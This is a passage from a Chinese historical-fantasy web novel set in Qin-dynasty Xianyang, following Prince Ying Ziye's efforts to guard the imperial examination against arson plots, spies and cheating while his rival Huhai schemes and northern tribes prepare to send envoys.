她话锋一转,眼中闪过一丝真正的兴趣,那是一种遇到对手时的光芒!
“不过说起才学…妾身倒是对那位小圣贤庄的三当家,张良先生,颇有几分兴趣呢。”
赢子夜执笔的手微微一顿。
焰灵姬仿佛陷入了回忆,红唇微启。
“当年在新郑,与他交手过几次。”
“其人智计百出,尤其那一手阵法之道,困人、惑人、杀人于无形,确实不凡得很。”
“可惜,一直未能真正分个高下。”
赢子夜放下笔,目光变得幽深起来,他看向焰灵姬,唇角勾起一抹意味深长的弧度。
“放心,会有机会的。”
他的语气很平淡,却像是一句笃定的预言,蕴含着无尽的锋芒与算计。
焰灵姬迎着他的目光,嫣然一笑,不再多言,心中却因这句承诺而悄然升起一丝期待。
她知道,公子口中的“机会”,绝不仅仅是切磋较量那么简单!
第272章 寡人之心,欲锤炼天下!
章台宫之巅,风声猎猎。
嬴政独自屹立于高高的露台之上,玄色帝袍在风中拂动,其上绣着的玄鸟纹饰仿佛要活过来,腾空而去!
他并未佩戴冕旒。
墨玉般的长发以一根简单的玉簪束起,更显得面容轮廓冷硬如刀削斧凿。
夕阳的余晖将他的身影拉得极长,投在冰冷光滑的黑曜石地面上。
仿佛与整个咸阳宫融为一体,散发出一种亘古、孤高、令人窒息的压迫感。
他负手而立,深邃的目光越过重重宫阙,俯瞰着脚下的咸阳城。
视线所及。
咸阳八街九陌,车马粼粼,人流如织。
尤其是几条通往正在兴建的考院的主要干道上,更是能看到众多身着各色儒袍或素衣的士子身影。
他们或踌躇满志,或风尘仆仆,或好奇张望。
从帝国的四面八方汇聚于此,如同百川归海!!
望着这络绎不绝的景象,嬴政那常年冰封般的脸上,似乎有了一丝极其微弱的松动。
那并非笑容,而是一种更深沉,更磅礴的情绪。
一种亲手缔造了前所未有之伟业,并将继续塑造其未来的,绝对的帝王豪情!!
天下归一!
书同文,车同轨!
而今,这天下英才,亦将如同这泾渭之水,尽归大秦所用!!!
他仿佛能看到,通过这些士子,帝国的意志将更加深入地贯彻到每一寸疆土!
大秦的基业,也将因这些新鲜血液的注入而变得更加坚不可摧,万世永昌!!
就在这豪情充塞胸臆之际。
他身后的阴影处,空气似乎微微扭曲了一下。
一道全身笼罩在特制黑衣中,脸上带着毫无表情的金属面具的身影,如同从地底渗出般悄然出现,单膝跪地,姿态谦卑至极,却无声无息。
正是黑冰台锐士!
即便是在这帝国心脏的最深处。
黑冰台的到来也无需通传。
他们的存在本身,就是始皇意志最隐秘的延伸。
嬴政并未回头,依旧远眺着咸阳盛景,只是淡淡地吐出一个字。
“讲。”
那黑冰台锐士的声音透过面具传出。
低沉、平稳、没有任何情绪起伏,如同在陈述一件与己无关的事实。
“启禀陛下。”
“卑职等奉命监察咸阳动向,尤其是与科举相关之事。”
“现有两事奏报。”
“其一,近日涌入咸阳之士子,经初步核查,其中确有不少为朝中各级官吏之亲朋、门生,乃至子嗣。”
“其名录与关系,已整理成册。”
锐士双手呈上一卷薄薄的绢册。
嬴政终于微微侧首,目光在那绢册上一扫而过,并未去接。
他的声音依旧平淡,却带着一种俯瞰蝼蚁般的漠然。
“科举报考,未曾禁绝官宦亲族。”
“朕,要的是真才实学。”
“若他们确有实学,能凭本事考入万世书院,为帝国效力,朕,不吝赏赐!”
“若只是滥竽充数,企图攀附裙带……”
“秦律之下,自有公道。”
“明白。”
锐士将绢册收回,继续禀报,声音依旧毫无波澜。
“其二。”
“遵照陛下密旨,重点监控咸阳城内所有可能用于纵火,制造混乱之物的流向。”
“近日发现,城内七家商铺所囤积之火油、烈酒、硫磺等物,出货量异常,较平日暴增数倍!”
“且采购者身份隐秘,多以假名或通过多次转手交易。”
锐士略微停顿了一下,说出了最关键的信息。
“其最终流向,虽经刻意掩饰,但多方线索交叉印证,皆隐隐指向…城外几处废弃的仓廪。”
“以及一些…原本无人居住的民宅。”
“时间点,与科举考期高度吻合!!”
露台上的风似乎在这一刻凝滞了。
嬴政缓缓转过身。
夕阳的光线从他身后照射过来。
将他高大的身影投下一片巨大的令人窒息的阴影,完全笼罩了那名跪地的黑冰台锐士。
他的面容逆着光,看不真切。
唯有一双眼睛,在阴影中亮得骇人!
如同深渊中燃起的冷火,蕴含着雷霆般的震怒与一种洞悉一切的冰冷。
“火油……”
嬴政的声音低沉地响起,不再平淡。
而是带着一种山雨欲来的恐怖压力,每一个字都仿佛蕴含着金铁交鸣之音。
“果然…有人按捺不住,想借这把火,烧一烧朕的科举大典,烧一烧这大秦的江山!”
那锐士即便久经训练,心智如铁,在这纯粹的帝威与杀意压迫下,也不由自主地将头颅垂得更低!
然而,预料中的雷霆之怒并未立刻爆发。
嬴政只是静静地站着。
那恐怖的压迫感如同实质般弥漫在露台之上。
良久,他才缓缓开口。
声音恢复了那种极致的冷静,却比之前的愤怒更加令人胆寒。
“很好。”
“既然他们想玩火…那便让他们玩。”
“传令下去!”
“一,盯死这些商铺,所有经手之人,所有可疑交易,给朕一一记录在案,但绝不可打草惊蛇。”
“二,给朕查出这些商铺背后的东主,查清他们的每一根枝蔓,每一个靠山。”
“三,那些接收货物的废弃仓廪和民宅,给朕布下天罗地网!”
“朕要知道,最终去取这些‘柴火’的,到底是哪些魑魅魍魉!”
“诺!”
黑冰台锐士重重领命,声音依旧平稳,却带上了绝对的肃杀之气!
“去吧。”
嬴政挥了挥手。
黑冰台锐士的身影如同来时一样,悄无声息地融入阴影,消失不见,仿佛从未出现过。
露台上,又只剩下嬴政一人。
他再次转身,面向那浩瀚的咸阳城与如血残阳。
方才那瞬间迸发,足以令山河变色的杀意与冰冷已然收敛无踪。
他又恢复了那副千古一帝的深沉与莫测。
晚风吹动他的衣袍,猎猎作响。
他目光深远,仿佛已经穿透了时间。
看到了科举之日可能发生的混乱与鲜血。
也看到了在那之后,被他彻底揪出来,碾碎成齑粉的所有阴谋与叛逆!!
天下归秦?
不。
这天下,早已是他的囊中之物。
如今,他要做的,是清洗,是锤炼!
是让这帝国在他的意志下,变成真正无瑕,永恒的黑铁!!!
夕阳彻底沉入远山。
咸阳华灯初上,将那巍峨的宫阙和熙攘的人流笼罩在一片辉煌的光明之中。
而站在最高处的始皇。
他的身影一半沐浴在灯火里,一半隐没在渐起的夜色中。
如同掌控光暗的神祇,沉默地注视着一切……
……
咸阳城外。
一处远离官道,隐匿于山林深处的别院。
此地看似寻常富贵人家的避暑之所,实则戒备之森严,远超咸阳宫内苑。
高墙之内,听不到丝毫人语喧嚣。
唯有夜风拂过竹林的沙沙声,以及更远处隐约传来,被严格限制在极小范围内的巡夜脚步声。
别院最深处。
一间门窗皆被特殊材质封死,仅留几个巧妙气窗的密室内,灯火通明。
三位被秘密遴选而来的出题官——
一位神色古板的老博士,一位面容憔悴的前刑法官,一位目光锐利的退隐谋士。
正埋首于浩如烟海的竹简与帛书之中!
他们时而凝神思索,时而提笔疾书,时而低声争论某条律法释义或策论题目的深浅尺度。
空气中弥漫着墨香、汗味以及一种极度压抑的紧张感。
他们与外界的联系已被彻底切断。
全然不知自己已成了风暴眼中最关键的棋子!
就在距离密室不足三十步的一处假山阴影下。
空气似乎微微扭曲了一下。
一道几乎与夜色融为一体的黑影,如同壁虎般贴着墙根,动作轻灵得不可思议。
避开了所有明暗哨卡的计算好的视线死角。
正悄无声息地向着那间亮灯的密室潜行。
他的呼吸被压到最低,眼中闪烁着职业性的冷静与贪婪,显然是个中高手,受命前来窥探那足以震动天下的试题。
很快,他的指尖即将触碰到密室屋檐,试图寻找一个窥探的缝隙。
就在这一刹那!
他身后的阴影里,毫无征兆地探出一只戴着黑色手套的手,快如闪电,精准无误地捂住了他的口鼻!
另一只手臂,如同铁钳般瞬间锁住他的脖颈,猛地向后一扳。
“咔嚓。”
一声极其轻微,几乎被风声掩盖的脆响。
那潜入者眼中的精光瞬间凝固。
转为难以置信的惊骇与死寂!
所有的挣扎在不到半次呼吸的时间内便彻底停止,身体软了下去!!
另一道黑影如同幽灵般从旁闪现。
默契地接住瘫软的尸体。
没有让一丝一毫的多余声响发出。
两人配合得天衣无缝,迅速将尸体拖入假山最深的裂隙之中,进行简单的掩藏和处理。
整个过程,从发生到结束,不过弹指之间!
没有呼喊。
没有金铁交鸣。
甚至没有惊起一只宿鸟!
为首的暗河头目,那双露在面罩外的眼睛冰冷地扫视了一圈周围,确认没有任何异状,连一丝血迹都未曾滴落。
他做了一个极细微的手势。
另一名暗河成员如同狸猫般蹿上屋檐,仔细检查了刚才那潜入者意图窥探的地方。
用特制的工具,将几片可能被轻微触碰过的瓦片恢复原状,抹去了一切痕迹。
做完这一切,两名暗河成员再次如同水银泻地般,悄无声息地融入周围的黑暗里,仿佛从未存在过。
而密室内,三位出题官对窗外咫尺之处发生的这场短暂而致命的暗战毫无察觉。
那位老博士正因一个策论题目的措辞,而与那位退隐谋士争论得面红耳赤。
声音稍稍提高了一些,透过气窗传出。
很快,又被他自己压抑下去,只剩下竹简翻动的窸窣声和笔尖划过的沙沙声。
夜,依旧沉寂。
风,依旧吹拂竹林。
仿佛一切都未曾发生过。
第273章 越界者,死!!!
六公子府书房。
夜凉如水。
赢子夜指尖捻着一份刚由暗河以最快速度传来的密报,绢条上只有简短的几行字,却透着血腥与杀伐之气。
烛火在他深邃的眼底跳跃,映照出一片冰冷的寒潭。
他缓缓将绢条凑近烛焰,看着那细小的火焰吞噬字迹,化为一点灰烬落下。
“窥探考题……”
赢子夜低声自语,声音里听不出喜怒,却带着一种极致的轻蔑与嘲讽。
“还真是有人…不知死活。”
“将这等下作心思,用在了这上面。”
科举取士,在他眼中乃是涤荡朝堂,夯实国本的利器,不容任何污秽沾染。
这些魑魅魍魉的行径,不仅是对帝国律法的挑衅,更是对他赢子夜权威的公然蔑视!!
他抬起眼,看向如同雕像般侍立在阴影中的赵弋苍,语气平淡,却字字如冰刃出鞘,带着不容置疑的残酷。
“传令下去。”
“将今夜所有胆敢窥探出题之地的贼子尸首,清理干净。”
“天明之前,给本公子悬挂于西市闹口示众。”
赵弋苍心神一凛!
西市闹口,那是咸阳城最繁华,人流量最大的地方之一。
将尸体悬挂于此,其震慑之意,足以令所有心怀不轨者胆寒!
这是最直接,最血腥的警告。
“诺。”
赵弋苍没有任何犹豫,立刻领命。
主上此举,就是要用最酷烈的手段,告诉所有暗中窥伺者——
越界者,死!!!
并且死无全尸,遗臭万年。
“还有。”
赢子夜的声音再次响起,打断了赵弋苍即将离去的脚步。
他的手指无意识地敲击着桌面,眼中闪过一丝算计的冷光。
“去请逆流沙的赤练姑娘,过府一叙。”
“就说…本公子有事相商。”
赵弋苍眼中闪过一丝极细微的疑惑,此刻正值多事之秋,为何突然要见那位毒蛇般的女子?
但他绝不会多问一句,只是再次躬身。
“诺!卑职这便去请。”
赵弋苍的身影迅速消失在门外。
书房内重归寂静。
赢子夜独自坐在案后,烛光将他的侧脸映照得明暗不定。
窗外,夜色更浓。
仿佛有无数阴谋在其中涌动。
……
没过多时。
门外传来一阵极轻微却又带着独特韵律的脚步声,伴随着若有似无,甜腻诱人的香气。
并未经过通传。
书房门被一只涂着鲜红蔻丹的纤纤玉手推开。
一袭红裙的赤练如同暗夜中盛放的毒花,袅袅娜娜地走了进来。
她目光流转,先是扫过这间充满权力气息的书房,最后才落在赢子夜身上。
嘴角勾起一抹妖娆妩媚的笑意,声音又软又媚,带着毫不掩饰的试探。
“公子殿下~这深更半夜的,突然想起唤妾身前来……”
她眼波盈盈,故意拖长了语调。
“莫非是又有什么…好‘买卖’要关照妾身了?”
她可是记得清清楚楚。
上次那一滴血,换来的丹药和秘籍让她受益匪浅。
赢子夜抬起眼,目光平静地看向她,对于她略显放肆的姿态并未在意。
他唇角微扬,露出一丝极淡,却意味深长的笑容。
没有寒暄,更没有解释。
只是直接从袖中取出一个白玉小瓶,轻轻放在了案几之上。
那玉瓶质地细腻,瓶身隐隐有流光转动,一看便知绝非凡品!
比之上次的“凝碧丹”玉瓶,似乎更为珍贵!
赤练的目光瞬间就被那玉瓶吸引了过去。
她扭动腰肢,走上前,毫不客气地拿起玉瓶,拔开瓶塞,轻轻一嗅。
一股极其纯粹,蕴含着磅礴生命精气的异香瞬间弥漫开来!
让她浑身真气都为之微微一荡!!
这丹药,远比之前的“凝碧丹”更为高阶!
对她这种修炼毒功之人,有着难以言喻的吸引力。
她那双如同毒蛇般的眸子里瞬间爆发出惊喜与贪婪交织的光芒,迅速将瓶塞盖好,紧紧攥在手心,仿佛怕赢子夜反悔一般。
脸上的笑容更是愈发娇艳动人。
声音也甜得能滴出蜜来。
“公子真是大方~这般宝贝也舍得给妾身。”
“不知这次……又需要妾身做些什么呢?”
她做好了准备,无论是什么棘手的任务,为了这瓶丹药,都值得一搏!
赢子夜看着她那副见宝心喜的模样,语气依旧平淡直接,仿佛只是在说一件微不足道的小事。
“没什么大事。”
“只是想请你…前往桑海小圣贤庄一趟,去见见你的老朋友,张良!”
“与他……叙叙旧。”
赤练脸上的笑容微微一僵。
眼中闪过一丝明显的错愕和不解!
“去见张良?叙旧?”
她几乎以为自己听错了,重复了一遍,语气带着浓浓的疑惑。
“就……这么简单?”
这算哪门子任务?
跋涉数百里去桑海,就为了跟那个满肚子算计的故人聊聊天?
这报酬未免也太丰厚得离谱了。
赢子夜对上她疑惑的目光,肯定地微微颔首,语气不容置疑。
“就这么简单。”
赤练仔细打量着赢子夜的神情。
试图从他脸上找出哪怕一丝一毫的戏谑或者隐藏的深意。
但那副俊美无俦的脸上只有一片令人捉摸不透的平静。
虽然心中疑窦丛生,但掌中玉瓶那诱人的触感和方才那惊鸿一嗅的丹药异香,不断地冲刷着她的理智。
去一趟小圣贤庄,对她而言并非难事。
甚至可以说毫无风险。
她眼珠转了转,随即展颜一笑。
将那瓶丹药小心地收入怀中,爽快应道:“行~没问题!”
“既然是公子所托,妾身便去会会那位故人,好好‘叙叙旧’。”
她特意加重了“叙叙旧”三个字,带着一丝若有若无,只有她自己才懂的意味。
说完,她不再多留。
对着赢子夜抛去一个勾魂摄魄的眼神,红裙旋动,带着一阵香风,转身便离开了书房。
身影迅速融入门外的夜色之中。
赢子夜看着她消失的方向,指尖无意识地敲击着桌面,眼中闪过一丝无人能懂的深邃光芒。
叙旧?
自然不止是叙旧那么简单。
有些鱼,需要一点特殊的诱饵,才能惊动。
而赤练,无疑是最能搅动张良那潭深水的那条…美丽而危险的鲶鱼。
第274章 以天下学子之心为基!
翌日清晨。
咸阳西市口。
往日里,这里是商贩云集,人流如织的繁华之地,充斥着讨价还价的喧嚣和市井的烟火气。
然而今日。
一种异样又令人头皮发麻的死寂,笼罩了这里。
数具面目狰狞,死状凄惨的尸体,被粗糙的麻绳勒着脖颈,高高悬挂在临时搭起的木架之上。
晨风吹过。
那些僵硬的尸体微微晃动,投下令人心悸的影子!
他们身上还穿着夜行衣,一些未曾擦拭干净的血迹已然发黑凝固,无声地诉说着昨夜发生的残酷。
起初。
人们被这骇人的景象吓得不敢靠近,远远围观,窃窃私语,脸上写满了恐惧与惊疑。
很快,便有身穿禁卫服饰的军官带着文吏前来,面无表情地在一旁张贴告示。
并向聚集过来的百姓和越来越多闻讯赶来的士子们高声宣读。
告示的内容言简意赅,却字字如锤!!
“此等獠奴,昨夜欲窥探科举考题,罪同叛国,依律处决,悬首示众,以儆效尤!!!”
落款处,盖着清晰的丞相府与公子府联合签印。
恐惧依旧存在!
但当众人听明白这些人的罪行之后,气氛开始悄然转变!!
尤其是那些从四面八方赶来,将前程希望都寄托于此次科举的士子们。
他们看着那些企图玷污这场考试的贼子尸体。
最初的惊吓过后,一股难以言喻的激动和愤慨涌上心头。
随即,又化为一种强烈的安心与感激!
“竟……竟有人敢行此龌龊之事!”
一个穿着洗得发白儒袍的年轻士子握紧了拳头,脸色因愤怒而涨红。
“多亏了公子殿下!”
“若非殿下明察秋毫,手段雷霆,我等寒窗苦读,岂不都要被这些鼠辈毁了前程?”
另一人感慨道,声音带着后怕和庆幸!
“是啊!殿下此举,正是为我等寒门学子主持公道!”
一个年纪稍长的士子捋着胡须,眼中满是钦佩之色。
“悬挂尸首于此,看似酷烈,实则是为了震慑所有宵小,保我科举之公平!”
“殿下为了我等,真是用心良苦!”
“公子殿下公正严明,实乃我等士子之幸!大秦之幸!!!”
议论声渐渐变大,从最初的恐惧窃语,变成了对舞弊者的唾骂和对赢子夜的一致称颂。
这些大多出身普通的士子们,此刻真切地感受到了一种被庇护,被重视的激动。
他们看到了一位愿意用最铁血的手段来维护考试公平的主持者。
这比任何空洞的承诺都更能让他们安心!
人群之中,赞誉之声不绝于耳。
赢子夜的形象,在这些士子心中,愈发变得高大、公正、且值得信赖。
而那高悬的尸体,此刻在他们眼中,也不再仅仅是恐怖的象征。
……
十八公子府邸。
那间极尽奢华的暖阁内,却弥漫着一股与华贵装饰格格不入的阴冷气息。
胡亥斜倚在软榻上,听着心腹低声禀报西市口悬挂尸首以及士子们纷纷称赞赢子夜的消息。
他手中把玩着一枚价值连城的玉珏。
脸上那惯有的轻浮玩味的笑容渐渐消失,取而代之的是一种冰冷的阴郁。
指尖微微用力,玉珏甚至发出不堪重负的细微**。
“哼……”
一声极轻的冷哼从他鼻腔里发出,带着毫不掩饰的嫉恨与讥讽。
“我那好六哥…倒是真会借题发挥,打了一手收买人心的好牌啊。”
他几乎能想象到那些愚蠢的士子们是如何感激涕零,如何将赢子夜奉若神明。
用几条卑贱的性命,就轻易换来了上万士子的归心?
这笔买卖,未免也太划算了些!
这让他原本打算在科举中搅风搅雨,看赢子夜焦头烂额的心思,像是被浇了一盆冷水。
非但没有熄灭,反而燃烧得更加扭曲旺盛!!
他猛地坐直身体,将那块几乎要被捏出裂痕的玉珏随手扔回盘中,发出清脆的撞击声。
脸上重新浮现出那种毒蛇般的冰冷笑容。
眼神锐利地扫向垂手恭立的心腹。
“去,传话给朝中的朋友们。”
他刻意加重了“朋友们”三个字,语气带着一丝不容错辨的警告。
“告诉他们,都把皮给本公子绷紧点!”
“眼下风头紧,我那六哥正拿着刀等着抓人把柄呢!”
他站起身,踱了两步,声音压得更低,却愈发森然。
“让他们做事的时候,手脚都放干净利落些!”
“尤其是跟那些‘柴火’有关的线,该断的就彻底断了,该藏的就给本公子藏到地底下去!”
“若是谁不小心,留下了什么首尾,被暗河或者黑冰台嗅着味儿摸上门……”
“那就别怪本公子…事先没提醒过他们。”
“到时候,谁也保不住他们的项上人头!!”
胡亥顿了顿,转过身,那双遗传自始皇的深邃眼眸里,此刻只剩下纯粹而毫不掩饰的冷酷。
“属下明白!”
那心腹身体一颤,立刻将头埋得更低,声音带着一丝不易察觉的恐惧。
“定将公子的话原封不动带到,让他们务必谨慎再谨慎!”
“嗯。”
胡亥挥了挥手,脸上又恢复了那副慵懒的模样,重新躺回软榻,仿佛刚才那股冰冷的杀意从未出现过。
“去吧。”
“告诉他们,耐心点…好戏,还在后头呢。”
心腹如蒙大赦,悄无声息地退了出去。
暖阁内,胡亥闭上眼睛,嘴角却缓缓勾起一抹残忍而期待的弧度。
赢子夜越是想维护这场科举的“公平”,他就越是要将其彻底砸个粉碎!
他倒要看看,当所谓的公平被践踏成泥时,那些今天还在歌功颂德的士子们,又会是一副怎样的嘴脸!
第275章 凡招贤馆士子,一律不得参与科举
六公子府。
书房内,烛火通明,映照着堆积如山的竹简与帛书。
萧何风尘仆仆而来,脸上带着连日操劳的疲惫,但眼神却依旧明亮专注。
他手中捧着一份刚整理好的名录,恭敬地呈给赢子夜。
“殿下,关于科举抄录,审阅官吏的最终遴选名单,已初步拟定完毕,请您过目。”
萧何的声音沉稳,却透着一丝不易察觉的紧绷。
此事关乎科举能否真正公正,他不敢有丝毫大意。
赢子夜接过那份沉甸甸的名录,目光快速扫过上面一个个名字及其背后标注的出身、履历、考评。
他看得极为仔细,指尖偶尔在某个人名上微微停顿,似乎在权衡考量。
良久,他缓缓颔首,将名录递还给萧何。
“名单拟得不错,考虑周全,便依此执行吧。”
萧何心中稍稍一松,正要领命,却听赢子夜又道:
“名单虽定,然执行过程,方为关键。”
“抄录、审阅,此二环节,最易被人动手脚。”
“萧何,你需亲自盯着,绝不能出任何纰漏。”
萧何神色一凛,郑重道:
“下官明白!已拟定严苛章程,所有环节皆安排可靠之人相互监督,试卷转运、封存皆有多重手续……”
赢子夜抬手,打断了他的话,目光锐利如刀。
“章程是死的,人心是活的。”
“譬如,抄录之时,若有人在墨中掺入特殊之物,使其字迹在一定时辰后变得模糊不清,或是沾染他处,污损原卷,该当如何?”
萧何闻言一愣,眉头微微蹙起,他确实未曾想到如此细致阴损的手段。
赢子夜继续道,语气平淡却列举着令人心惊的可能性。
“又譬如,封存试卷时,那用于粘合的火漆印泥,若被人做了手脚,易于剥离后重新封上而不留痕迹?”
“亦或是封存用的木匣,其内暗格夹层,足以塞入一张写有答案的绢条?”
“甚至所有试卷的用纸,其边缘裁切看似整齐,实则若有极其细微的长短差异,便可作为传递信息的暗号?”
一个个闻所未闻,却又切实可行的**手段从赢子夜口中说出!
听得萧何背后不禁渗出些许冷汗!!!
他原本以为自己已经考虑得足够周密,此刻才知与殿下相比,仍是相差甚远!
殿下对于人性之恶,手段之诡谲,洞察得竟如此深刻!
他脸上浮现出由衷的敬佩与惊讶,拱手道:“殿下思虑之缜密,远超下官想象!”
“这些…这些下官确未曾想到!”
“若非殿下提醒,恐真会被奸人钻了空子!!”
赢子夜看着他,语气缓和了些许,却依旧带着告诫。
“非常之时,需行非常之法,虑非常之患。”
“你多用些心,将所有可能出现的漏洞,都给本公子堵死。”
他略一沉吟,做出了更进一步的安排。
“届时,本公子会向父皇**,调派黑冰台中人,以护卫或杂役等身份,暗中介入这些关键环节,助你监察。”
“他们的眼睛,比寻常官吏更毒。”
萧何闻言,心中大定,更是涌起一股感激之情!
有黑冰台这等帝国最隐秘的利器暗中相助,无疑大大增加了他的底气。
他深深一揖。
“下官,谢殿下信任与支持!”
“定当竭尽全力,不负所托!”
就在这时,书房外传来轻轻的叩门声。
得到允许后,招贤馆的主事缓步走了进来。
他先是对赢子夜恭敬行礼,又向萧何点头致意,脸上带着一丝为难之色。
“殿下,”
主事开口道,语气有些迟疑。
“近日来,招贤馆外…前来投递名刺,欲拜入殿下门下的士子,日益增多。”
“其中不乏一些在地方郡试中名列前茅者,言辞恳切,皆言仰慕殿下贤德,愿为门下奔走……”
他的话未说完,但在场两人都瞬间明白了其中的关窍。
赢子夜唇角勾起一抹似笑非笑的弧度,眼中闪过一丝了然与嘲讽。
“哦?他们是仰慕本公子的贤德,还是仰慕本公子手中…主持科举的权柄?”
“这是知晓由本公子统筹此事,都想借此机会,攀附而上,为自家前程铺路啊。”
萧何立刻上前一步,神色凝重地劝谏道:“殿下明鉴!”
“此事确实棘手!若断然拒绝,恐寒了天下投效之士子人心,于殿下声誉有损。”
“可若
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来者不拒,尽数收下,则无异于变相的结党营私,徇私舞弊!”
“届时若有人在此次科举中高中,无论其是否真才实学,外界必然会将功劳算在殿下‘门下’的身份上,百口莫辩!”
“极易被有心人利用,大做文章!”
这确实是一个两难的局面,处理不好,便是授人以柄。
赢子夜听完,并未立刻回答。
他指尖轻轻敲击着桌面,沉吟片刻,眼中闪过一丝睿智的光芒。
他看向主事,语气清晰而果断地吩咐道。
“你去告知那些前来投效的学子。”
“凡欲入我招贤馆者,本公子欢迎之至。”
“然,需明定规矩!”
“凡入招贤馆者,即为本公子门下之士。”
“可随本公子议事,可借府藏书籍研习。”
他语气缓缓,却带着不容置疑的分寸。
“然,此辈虽可为门客,却绝不可为官吏!”
“凡招贤馆士子,一律不得参与科举!”
“此令,非为弃士,实乃护才。”
“免去流言,绝去嫌隙,使世人知我大秦科举,不因门户而偏私,不因门第而徇情!”
此言一出,主事和萧何先是微微一怔,随即眼中同时爆发出豁然开朗的敬佩光芒。
妙啊!
如此一来,既慷慨地接纳了投效的士子,彰显了公子招贤纳士的胸怀。
又从根本上彻底堵住了所有可能引发“徇私”质疑的漏洞!!!
既全了名声,又守住了底线!
“殿下英明!”
主事由衷赞叹,脸上露出释然的笑容。
“如此两全其美之策,老朽佩服!”
“我这便去将殿下的意思明示众人!”
“去吧。”
赢子夜微微颔首。
主事躬身退下。
萧何看着赢子夜,心中感慨万千。
这位公子,不仅心思缜密,手段果决,更难得的是在如此复杂的局面下,总能找到那条最稳妥、最有利的路径。
其心智与格局,远超常人想象!
书房内再次恢复寂静。
赢子夜的目光重新落回那些关乎帝国未来的文书上。
仿佛刚才那番足以影响无数人命运的决定,只是微不足道的小插曲。
第276章 北疆来朝!
咸阳宫,麒麟殿。
晨钟悠扬,百官肃立。
玄色帝袍的嬴政高踞龙榻,冕旒垂面。
虽看不清具体神色,但那透过珠帘扫视下来的目光,却带着重如山岳的威压,令殿内鸦雀无声!
唯有谒者清晰洪亮的声音在回荡,禀报着各地政务!
当一份来自北疆的加急军报被诵读完毕后,谒者的声音略微提高,带着一丝不易察觉的激昂。
“启奏陛下!”
“北疆九原、云中、雁门三郡守将联合上奏!”
“自互市开设以来,边境晏然,羌、狼族、匈奴、犬戎等大小部落,感念陛下天恩,饱暖安居,争端锐减。”
“今,各部首领歃血为盟,共推使者,欲携贡礼,不日启程,亲往咸阳朝见陛下,以表臣服感恩之心!”
话音落下。
整个麒麟殿先是陷入一片短暂的寂静。
随即,如同冰封的河面骤然解冻,爆发出热烈的反应!!
“彩!”
“天佑大秦!陛下圣德!”
“四夷来朝,此乃盛世之兆!扬我国威于塞外!”
文武百官纷纷出列表贺,脸上洋溢着自豪与兴奋。
自帝国一统以来,北疆胡患始终是心腹大患。
如今竟能不费一兵一卒,令这些桀骜不驯的部落首领主动前来朝拜称臣。
这无疑是前所未有的外交胜利,足以载入史册!!
一时间,**之声不绝于耳。
御阶之上,珠帘之后,一直静默无声的嬴政,嘴角似乎缓缓勾起了一抹极淡却真实存在的弧度。
即便以他千古一帝的心境,面对如此功绩,亦不免生出几分豪情与满意!!
这不仅仅是边关的安宁,更是对他统治的认可,是帝国强盛最直观的体现!!
他缓缓抬起手,殿内的喧哗立刻平息下去,所有目光都聚焦于那至尊的身影。
“北疆安宁,胡首来朝,确是喜事。”
嬴政的声音透过珠帘传来,平稳中带着一丝难得的缓和。
“然,此非朕一人之功。”
“开设互市、定边之策,乃子夜所倡。”
他的目光,似乎穿透了珠帘,落在了武将行列前列,身姿挺拔的赢子夜身上。
一瞬间,所有人的目光都齐刷刷地转向了赢子夜!
其中充满了惊讶、羡慕、探究,以及一丝难以言喻的复杂。
而赢子夜却面色平静,从容出列,躬身行礼,声音清越沉稳。
“儿臣不敢居功。”
“北疆能定,全赖父皇圣心独运,决策英明,亦赖边关将士用命戍守,方能使互市顺利推行,恩威并施,令胡人归心。”
“儿臣不过偶献拙策,实乃份内之事。”
他这番话谦逊得体,将功劳归于皇帝和边军,既彰显了孝道与臣节,又不露锋芒。
听得嬴政微微颔首,眼中满意之色更浓。
殿内不少老成持重的大臣亦暗自点头,觉得这位六公子年纪虽轻,却深谙为臣之道,不骄不躁!
嬴政并未在此事上过多纠缠。
话锋随即一转,回到了当前最紧要的事务上。
“科举之事,筹备得如何了?”
他的声音恢复了平时的威严,带着审视的意味。
赢子夜再次躬身,语气肯定而自信。
“回父皇,一应事宜,儿臣已与丞相府、将作少府、廷尉府等协同安排下去。”
“考场兴建已近尾声,士子登记造册有序进行,命题、监考、阅卷、防弊等各项章程细则均已拟定,人手亦调配完毕。”
“万事俱备,只待各地士子齐聚,便可如期开考。”
“嗯。”
嬴政微微颔首,对这个回答似乎并不意外。
“此事关乎国本,不容有失。”
“你与李斯,需时时警醒。”
“儿臣(臣)谨记父皇(陛下)教诲!”
赢子夜与出列的李斯齐声应道。
之后,朝会又处理了几件各地的政务和军报,但气氛明显轻松了许多。
北疆的喜讯如同给整个朝堂注入了一剂强心针。
终于,内侍官高唱“退朝”,百官躬身恭送。
嬴政起身,玄色帝袍拂过龙榻,却在即将转入屏风之后时,脚步微微一顿,并未回头,只是淡淡地留下了一句。
“子夜,随朕来章台宫。”
声音不高,却清晰地传入了下方正准备离去的赢子夜耳中,也让周围几位重臣的脚步为之一滞。
赢子夜面色不变,心中却是一动,立刻躬身应道。
“诺。”
他无视了四周投来的各种复杂目光,从容地整理了一下衣冠,在一名内侍的引导下,迈步走向那象征着帝国最高权力核心的章台宫深处。
沉重的宫门在他身后缓缓合拢。
将外界的喧嚣与猜测彻底隔绝。
……
章台宫深处。
门窗紧闭,将外间的光线与喧嚣彻底隔绝。
只余下夜明珠清冷的光辉流淌在光滑如镜的黑曜石地面上,映照出嬴政那如山岳般沉稳而孤高的身影。
他背对着赢子夜,负手而立,望着墙壁上那幅巨大的四海归一图。
仿佛在审视着自己亲手打下的浩瀚疆土。
空气中,弥漫着一种近乎凝滞的威严,压得人喘不过气。
“北疆诸部来朝,朝堂之上,皆是一片颂扬之声。”
嬴政的声音忽然响起,打破了沉寂,平稳无波,却自带回响,在这空旷的殿内显得格外深沉。
“子夜,你对此事,又有何看法?”
他没有问功绩,没有问封赏,而是直接询问看法。
这是一种超越表面赞誉,真正的考较。
赢子夜静立在下首,神色恭敬却不见丝毫因功自傲的得意。
他略一沉吟,声音清晰而冷静地开口。
“回父皇,儿臣以为,羌、狼族、匈奴、犬戎等部,性情桀骜,逐水草而居,素无信义可言。”
“其此番前来朝见,感念互市之恩,或许有之……”
他话锋微微一转,语气变得凝重。
“然,儿臣更以为,其此举,恐不乏借此机会,亲身窥探我大秦虚实之意图。”
“咸阳乃帝国心脏,其繁华、其军容、其官制,乃至朝堂气象,皆为他们所欲窥探!”
“故而,此番接待,看似盛事,实则暗藏机锋,免不了一些波折与试探。”
嬴政的身影纹丝未动,仿佛早已料到他会如此说。
赢子夜继续道,目光锐利。
“除此之外,儿臣所虑者更深。”
“北疆互市,触动了太多人的利益。”
